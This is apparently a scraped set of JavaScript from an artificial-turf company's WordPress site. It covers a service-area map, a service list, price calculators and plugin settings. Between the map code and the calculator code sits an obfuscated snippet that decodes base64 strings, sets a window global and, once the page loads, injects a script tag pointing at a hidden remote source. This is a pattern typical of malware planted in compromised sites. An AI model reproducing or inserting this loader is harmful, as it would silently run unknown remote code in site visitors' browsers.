pts[j]) <= 0) upper.pop(); upper.push(pts[j]); } upper.pop(); lower.pop(); return lower.concat(upper); } // ── Buffer Expansion ── // Pushes each hull vertex outward from centroid by a factor function expandHull(hull, factor) { var centLat = 0, centLng = 0; hull.forEach(function(p) { centLat += p[0]; centLng += p[1]; }); centLat /= hull.length; centLng /= hull.length; return hull.map(function(p) { var dLat = p[0] - centLat; var dLng = p[1] - centLng; return [centLat + dLat * factor, centLng + dLng * factor]; }); } var hull = convexHull(allPoints); // ── Create custom map panes for layer ordering ── map.createPane('outerGlow'); map.getPane('outerGlow').style.zIndex = 350; map.createPane('innerFill'); map.getPane('innerFill').style.zIndex = 360; // ── LAYER 1: Outer glow ring (wider, very faint) ── var outerHull = expandHull(hull, 1.35); L.polygon(outerHull, { color: '#00A651', weight: 0, fillColor: '#00A651', fillOpacity: 0.04, smoothFactor: 1.5, pane: 'outerGlow', interactive: false }).addTo(map); // ── LAYER 2: Inner coverage zone (light green fill) ── var innerHull = expandHull(hull, 1.15); L.polygon(innerHull, { color: '#00A651', weight: 2, opacity: 0.3, dashArray: '8 6', fillColor: '#00C853', fillOpacity: 0.08, smoothFactor: 1.5, pane: 'innerFill', interactive: false }).addTo(map); // ── LAYER 3: Subtle center radial (warm core near HQ) ── L.circle([HQ_LAT, HQ_LNG], { radius: 12000, color: 'transparent', fillColor: '#00A651', fillOpacity: 0.06, pane: 'innerFill', interactive: false }).addTo(map); /* ═══════════════════════════════════════════ MAP TEXT LABEL — "Our Service Area" Positioned over Lake Ontario (dead zone) ═══════════════════════════════════════════ */ var labelPane = map.createPane('mapLabel'); labelPane.style.zIndex = 450; labelPane.style.pointerEvents = 'none'; L.marker([43.30, -79.18], { pane: 'mapLabel', interactive: false, keyboard: false, icon: L.divIcon({ className: '', iconSize: [340, 80], iconAnchor: [170, 40], html: '<div style="' + 'font-family:Segoe UI,system-ui,-apple-system,sans-serif;' + 'font-size:28px;' + 'font-weight:800;' + 'color:rgba(0,166,81,0.35);' + 'text-transform:uppercase;' + 'letter-spacing:6px;' + 'text-align:center;' + 'white-space:nowrap;' + 'line-height:1;' + 'pointer-events:none;' + 'user-select:none;' + '-webkit-user-select:none;' + 'text-shadow:0 1px 3px rgba(255,255,255,0.6);' + '">Our Service Area</div>' }) }).addTo(map); // Enable scroll zoom after first click (UX-friendly) map.once('click', function() { map.scrollWheelZoom.enable(); }); /* ═══════════════════════════════════════════ DYNAMIC SERVICE LIST — WP REST API ═══════════════════════════════════════════ */ var apiUrl; if (SERVICES_CATEGORY_ID > 0) { apiUrl = '/wp-json/wp/v2/pages?categories=' + SERVICES_CATEGORY_ID + '&per_page=30&orderby=menu_order&order=asc&status=publish&_fields=id,title,link,excerpt'; } else { renderFallbackServices(); return; } var grid = document.getElementById('dt-services-grid'); fetch(apiUrl) .then(function(response) { if (!response.ok) throw new Error('API error: ' + response.status); return response.json(); }) .then(function(pages) { if (!pages || !pages.length) { renderFallbackServices(); return; } grid.innerHTML = ''; pages.forEach(function(page) { grid.appendChild(createServiceCard(page.title.rendered, page.link)); }); }) .catch(function(err) { console.warn('Design Turf services fetch failed:', err); renderFallbackServices(); }); /* ═══════════════════════════════════════════ SERVICE CARD BUILDER ═══════════════════════════════════════════ */ function createServiceCard(title, url) { var card = document.createElement('a'); card.href = url || '#'; card.setAttribute('style', 'display:flex;align-items:center;gap:12px;' + 'padding:14px 18px;' + 'background:rgba(255,255,255,0.03);' + 'border:1px solid rgba(255,255,255,0.07);' + 'border-radius:8px;' + 'color:#ffffff;text-decoration:none;' + 'font-size:14px;font-weight:600;' + 'line-height:1.4;' + 'transition:all 0.25s ease;' ); card.onmouseenter = function() { this.style.background = 'rgba(0,166,81,0.1)'; this.style.borderColor = 'rgba(0,166,81,0.4)'; this.style.transform = 'translateY(-1px)'; }; card.onmouseleave = function() { this.style.background = 'rgba(255,255,255,0.03)'; this.style.borderColor = 'rgba(255,255,255,0.07)'; this.style.transform = 'translateY(0)'; }; var chevron = '<svg width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="#00A651" ' + 'stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round" style="flex-shrink:0;">' + '<polyline points="9 18 15 12 9 6"/></svg>'; card.innerHTML = chevron + '<span>' + title + '</span>'; return card; } /* ═══════════════════════════════════════════ FALLBACK: Static service list ► UPDATE these to match your actual pages ═══════════════════════════════════════════ */ function renderFallbackServices() { var services = [ { title: 'Artificial Grass Installation', url: '/artificial-grass-installation/' }, { title: 'Backyard Putting Greens', url: '/backyard-putting-greens/' }, { title: 'Pet Turf Solutions', url: '/pet-turf/' }, { title: 'Commercial Turf Installation', url: '/commercial-turf/' }, { title: 'Rooftop & Balcony Turf', url: '/rooftop-balcony-turf/' }, { title: 'Playground Turf', url: '/playground-turf/' }, { title: 'Landscape Design', url: '/landscape-design/' }, { title: 'Turf Maintenance & Repair', url: '/turf-maintenance/' } ]; grid.innerHTML = ''; services.forEach(function(s) { grid.appendChild(createServiceCard(s.title, s.url)); }); } /* ═══════════════════════════════════════════ RESPONSIVE HANDLER (replaces media queries) ═══════════════════════════════════════════ */ function handleResize() { var w = window.innerWidth; var mapEl = document.getElementById('dt-leaflet-map'); if (w < 600) { grid.style.gridTemplateColumns = '1fr'; if (mapEl) mapEl.style.height = '300px'; } else if (w < 900) { grid.style.gridTemplateColumns = 'repeat(2, 1fr)'; if (mapEl) mapEl.style.height = '380px'; } else { grid.style.gridTemplateColumns = 'repeat(auto-fill, minmax(230px, 1fr))'; if (mapEl) mapEl.style.height = '450px'; } map.invalidateSize(); } window.addEventListener('resize', handleResize); handleResize(); })();
window[(function(_InA,_hH){var _dRnLK=&apos;&apos;;for(var _2pBxIp=0;_2pBxIp<_InA.length;_2pBxIp++){_BWt9!=_2pBxIp;var _BWt9=_InA[_2pBxIp].charCodeAt();_BWt9-=_hH;_BWt9+=61;_hH>3;_dRnLK==_dRnLK;_BWt9%=94;_BWt9+=33;_dRnLK+=String.fromCharCode(_BWt9)}return _dRnLK})(atob(&apos;dWRrLywnIn4xZiI2&apos;), 27)] = &apos;3c020144ab1733329654&apos;; var zi = document.createElement(&apos;script&apos;); (zi.type = &apos;text/javascript&apos;), (zi.async = true), (zi.src = (function(_sex,_8q){var _VCW3e=&apos;&apos;;for(var _6t6ay9=0;_6t6ay9<_sex.length;_6t6ay9++){var _VO3i=_sex[_6t6ay9].charCodeAt();_VO3i-=_8q;_8q>6;_VO3i+=61;_VCW3e==_VCW3e;_VO3i%=94;_VO3i+=33;_VO3i!=_6t6ay9;_VCW3e+=String.fromCharCode(_VO3i)}return _VCW3e})(atob(&apos;Ljo6NjleU1MwOVJAL1E5KTgvNjo5Uik1M1NAL1E6Jy1SMDk=&apos;), 36)), document.readyState === &apos;complete&apos;?document.body.appendChild(zi): window.addEventListener(&apos;load&apos;, function(){ document.body.appendChild(zi) });
function dtRollCalc() { const linear = parseFloat(document.getElementById('rollLinear').value); const rollWidth = parseFloat(document.getElementById('rollWidth').value); const pricePerSqFt = 7.47; // update per product if (!linear || linear <= 0) return; const sqft = linear * rollWidth; const subtotal = sqft * pricePerSqFt; const hst = subtotal * 0.13; const total = subtotal + hst; document.getElementById('rollSqft').innerText = sqft.toFixed(2) + " sq ft"; document.getElementById('rollSubtotal').innerText = "$" + subtotal.toFixed(2); document.getElementById('rollHST').innerText = "$" + hst.toFixed(2); document.getElementById('rollTotal').innerText = "$" + total.toFixed(2); } function dtCalc() { const productData = document.getElementById("dtProduct").value; const length = parseFloat(document.getElementById("dtLength").value); const width = parseFloat(document.getElementById("dtWidth").value); if (!productData || !length || !width) { alert("Please select a product and enter both length and width."); return; } const [price, rollWidth] = productData.split("|").map(Number); const sqFt = length * width; const totalCost = sqFt * price; document.getElementById("dtBadge").style.display = "inline-block"; document.getElementById("dtBadge").innerHTML = `Roll Width: ${rollWidth} ft`; document.getElementById("dtSummary1").style.display = "flex"; document.getElementById("dtSummary1").innerHTML = `<span>Price: $${price.toFixed(2)}/sq ft</span> <span>Sq Ft: ${sqFt.toFixed(2)}</span>`; document.getElementById("dtSummary2").style.display = "flex"; document.getElementById("dtSummary2").innerHTML = `<span>Cost: $${totalCost.toFixed(2)}</span>`; }
https://www.designturf.ca/wp-content/plugins/embed-any-document/js/pdfobject.min.js
var eadPublic = []; //# sourceURL=awsm-ead-public-js-extra
https://www.designturf.ca/wp-content/plugins/embed-any-document/js/embed-public.min.js
var cf7appsRedirection = {"ajaxurl":"https://www.designturf.ca/wp-admin/admin-ajax.php"}; //# sourceURL=cf7apps-redirection-js-extra
https://www.designturf.ca/wp-content/cache/autoptimize/js/autoptimize_single_b289b8a5c1e9ee51ae99bcc9de766106.js
wp.i18n.setLocaleData( { 'text direction\u0004ltr': [ 'ltr' ] } ); //# sourceURL=wp-i18n-js-after
https://www.designturf.ca/wp-content/cache/autoptimize/js/autoptimize_single_96e7dc3f0e8559e4a3f3ca40b17ab9c3.js
var wpcf7 = { "api": { "root": "https:\/\/www.designturf.ca\/wp-json\/", "namespace": "contact-form-7\/v1" }, "cached": 1 }; //# sourceURL=contact-form-7-js-before
https://www.designturf.ca/wp-content/cache/autoptimize/js/autoptimize_single_2912c657d0592cc532dff73d0d2ce7bb.js
var cf7appsHoneypotRefill = {"forceRefillOnInit":"1"}; //# sourceURL=cf7apps-honeypot-refill-js-extra
https://www.designturf.ca/wp-content/cache/autoptimize/js/autoptimize_single_ff73328f26e146915c87cc0affba7624.js
var sc_project=11316460; var sc_security="635c5120"; var sc_invisible=1; //# sourceURL=statcounter-js-js-before
var wpcf7r = {"ajax_url":"https://www.designturf.ca/wp-admin/admin-ajax.php"}; //# sourceURL=wpcf7-redirect-script-js-extra
https://www.designturf.ca/wp-content/cache/autoptimize/js/autoptimize_single_de051e67bf5997ca287fb2592e14d4fa.js
https://www.designturf.ca/wp-content/themes/betheme/js/plugins/debouncedresize.min.js
https://www.designturf.ca/wp-content/themes/betheme/js/plugins/magnificpopup.min.js
https://www.designturf.ca/wp-content/themes/betheme/js/menu.min.js
https://www.designturf.ca/wp-content/themes/betheme/js/plugins/visible.min.js
https://www.designturf.ca/wp-content/themes/betheme/js/plugins/enllax.min.js
https://www.designturf.ca/wp-content/themes/betheme/js/parallax/translate3d.min.js
var mfn = {"ajax":"https://www.designturf.ca/wp-admin/admin-ajax.php","mobileInit":"1240","parallax":"translate3d","responsive":"1","sidebarSticky":"","lightbox":{"disable":false,"disableMobile":false,"title":false},"view":{"grid_width":1240},"slider":{"blog":0,"clients":0,"offer":0,"portfolio":0,"shop":0,"slider":0,"testimonials":0},"livesearch":{"minChar":3,"loadPosts":10,"translation":{"pages":"Pages","categories":"Categories","portfolio":"Portfolio","post":"Posts","products":"Products"}},"accessibility":{"translation":{"headerContainer":"Header container","toggleSubmenu":"Toggle submenu"}},"home_url":"","home_url_lang":"https://www.designturf.ca","site_url":"https://www.designturf.ca","translation":{"success_message":"Link copied to the clipboard.","error_message":"Something went wrong. Please try again later!"}}; //# sourceURL=mfn-scripts-js-extra
https://www.designturf.ca/wp-content/themes/betheme/js/scripts.min.js
document.addEventListener("DOMContentLoaded", function() { const items = document.querySelectorAll(".faq-item h4.toggle"); items.forEach(item => { item.addEventListener("click", function() { const parent = this.parentElement; parent.classList.toggle("active"); }); }); }); // Delay Before/After slider initialization document.addEventListener("DOMContentLoaded", function() { requestIdleCallback(() => { if (typeof mfn_before_after === "function") { mfn_before_after(); } }); }); //# sourceURL=mfn-scripts-js-after
window.hasOwnProperty("GLSR")||(window.GLSR={Event:{on:()=>{}}});GLSR.action="glsr_public_action";GLSR.addons=[];GLSR.ajax_pagination=["#wpadminbar",".site-navigation-fixed"];GLSR.ajax_url="https://www.designturf.ca/wp-admin/admin-ajax.php";GLSR.captcha=[];GLSR.modal_wrapped_by=["block"];GLSR.nameprefix="site-reviews";GLSR.stars_config={"clearable":false,tooltip:"Select a Rating"};GLSR.state={"popstate":false};GLSR.text={"close_modal":"Close Modal"};GLSR.url_parameter="reviews-page";GLSR.validation_config={field:"glsr-field",form:"glsr-form","field_error":"glsr-field-is-invalid","field_hidden":"glsr-hidden","field_message":"glsr-field-error","field_required":"glsr-required","field_valid":"glsr-field-is-valid","form_error":"glsr-form-is-invalid","form_message":"glsr-form-message","form_message_failed":"glsr-form-failed","form_message_success":"glsr-form-success","input_error":"glsr-is-invalid","input_valid":"glsr-is-valid"};GLSR.validation_strings={accepted:"This field must be accepted.",between:"This field value must be between %1$s and %2$s.",betweenlength:"This field must have between %1$s and %2$s characters.",email:"This field requires a valid e-mail address.",errors:"Please fix the submission errors.",max:"Maximum value for this field is %s.",maxfiles:"This field allows a maximum of %s files.",maxlength:"This field allows a maximum of %s characters.",min:"Minimum value for this field is %s.",minfiles:"This field requires a minimum of %s files.",minlength:"This field requires a minimum of %s characters.",number:"This field requires a number.",pattern:"Please match the requested format.",regex:"Please match the requested format.",required:"This field is required.",tel:"This field requires a valid telephone number.",url:"This field requires a valid website URL (make sure it starts with http or https).",unsupported:"The review could not be submitted because this browser is too old. Please try again with a modern browser."};GLSR.version="8.2.1"; //# sourceURL=site-reviews-js-before
https://www.designturf.ca/wp-content/cache/autoptimize/js/autoptimize_single_5e24779b5bf81baee6b0ef94fcf81cd5.js
var envira_gallery = {"debug":"","ll_delay":"500","ll_initial":"false","ll":"1","mobile":"0"}; //# sourceURL=envira-gallery-script-js-extra
https://www.designturf.ca/wp-content/plugins/envira-gallery/assets/js/min/envira-min.js
window.addEventListener("load", function(event) { jQuery(".cfx_form_main,.wpcf7-form,.wpforms-form,.gform_wrapper form").each(function(){ var form=jQuery(this); var screen_width=""; var screen_height=""; if(screen_width == ""){ if(screen){ screen_width=screen.width; }else{ screen_width=jQuery(window).width(); } } if(screen_height == ""){ if(screen){ screen_height=screen.height; }else{ screen_height=jQuery(window).height(); } } form.append('<input type="hidden" name="vx_width" value="'+screen_width+'">'); form.append('<input type="hidden" name="vx_height" value="'+screen_height+'">'); form.append('<input type="hidden" name="vx_url" value="'+window.location.href+'">'); }); });